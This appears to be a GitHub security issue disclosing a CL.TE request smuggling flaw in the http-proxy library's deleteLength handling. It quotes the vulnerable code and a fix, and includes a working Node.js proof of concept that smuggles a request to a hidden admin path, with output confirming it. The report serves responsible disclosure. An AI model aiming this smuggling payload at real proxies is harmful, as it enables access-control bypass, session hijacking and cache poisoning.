Skip to content

Security: HTTP Request Smuggling via deleteLength (CL.TE) — upstream unfixed CVE-2026-29057 #1721

Description

@Black1hp

Summary

The deleteLength pass creates a CL.TE request smuggling vulnerability. When proxying DELETE/OPTIONS requests with Transfer-Encoding: chunked but no Content-Length, the library sets Content-Length: 0 and deletes Transfer-Encoding. The body is still piped to the backend, creating a desynchronization.

CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.

Affected

  • Package: http-proxy
  • Version: 1.18.1 (latest, released 2020-05-17)
  • All versions since v0.9.0

Root Cause

lib/http-proxy/passes/web-incoming.js:

deleteLength: function deleteLength(req, res, options) {
    if((req.method === 'DELETE' || req.method === 'OPTIONS')
       && !req.headers['content-length']) {
      req.headers['content-length'] = '0';
      delete req.headers['transfer-encoding'];
    }
},

Sets Content-Length: 0 and deletes Transfer-Encoding without checking if Transfer-Encoding is present. Body is still piped via req.pipe(proxyReq).

Reproduction

const http = require('http');
const httpProxy = require('http-proxy');
const net = require('net');

const backend = http.createServer((req, res) => {
  let body = '';
  req.on('data', (chunk) => body += chunk.toString());
  req.on('end', () => {
    console.log(`[BACKEND] ${req.method} ${req.url}`);
    res.end('OK');
  });
});

backend.listen(9001, () => {
  const httpAgent = new http.Agent({ keepAlive: true });
  const proxy = httpProxy.createProxyServer({
    target: 'http://127.0.0.1:9001',
    agent: httpAgent  // keep-alive required for smuggling
  });
  const server = http.createServer((req, res) => proxy.web(req, res));

  server.listen(9000, () => {
    const client = net.createConnection({ host: '127.0.0.1', port: 9000 });
    const smuggled = 'GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n';

    client.write(
      'DELETE /api HTTP/1.1\r\n' +
      'Host: localhost\r\n' +
      'Transfer-Encoding: chunked\r\n' +
      '\r\n' +
      smuggled.length.toString(16) + '\r\n' +
      smuggled +
      '\r\n0\r\n\r\n'
    );
  });
});

Output:

[BACKEND] DELETE /api
[BACKEND] GET /admin/secret  ← smuggled request parsed

Preconditions

  1. Proxy must use a keep-alive agent (default config uses Connection: close which prevents smuggling)
  2. Backend must reuse connections
  3. Attacker can send requests to the proxy

Impact

  • Request smuggling: arbitrary second request injected to backend
  • Access internal endpoints bypassing proxy routing
  • Session hijacking via shared connection context
  • Cache poisoning

Suggested Fix

Apply the same fix Next.js applied:

deleteLength: function deleteLength(req, res, options) {
    if((req.method === 'DELETE' || req.method === 'OPTIONS')
       && !req.headers['content-length']
       && !req.headers['transfer-encoding']) {
      req.headers['content-length'] = '0';
      // Do NOT delete transfer-encoding
    }
},

References

  • CVE-2026-29057 (assigned to Next.js for this issue)
  • Next.js fix: only add Content-Length: 0 when both headers absent

Reported by: @Black1hp

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions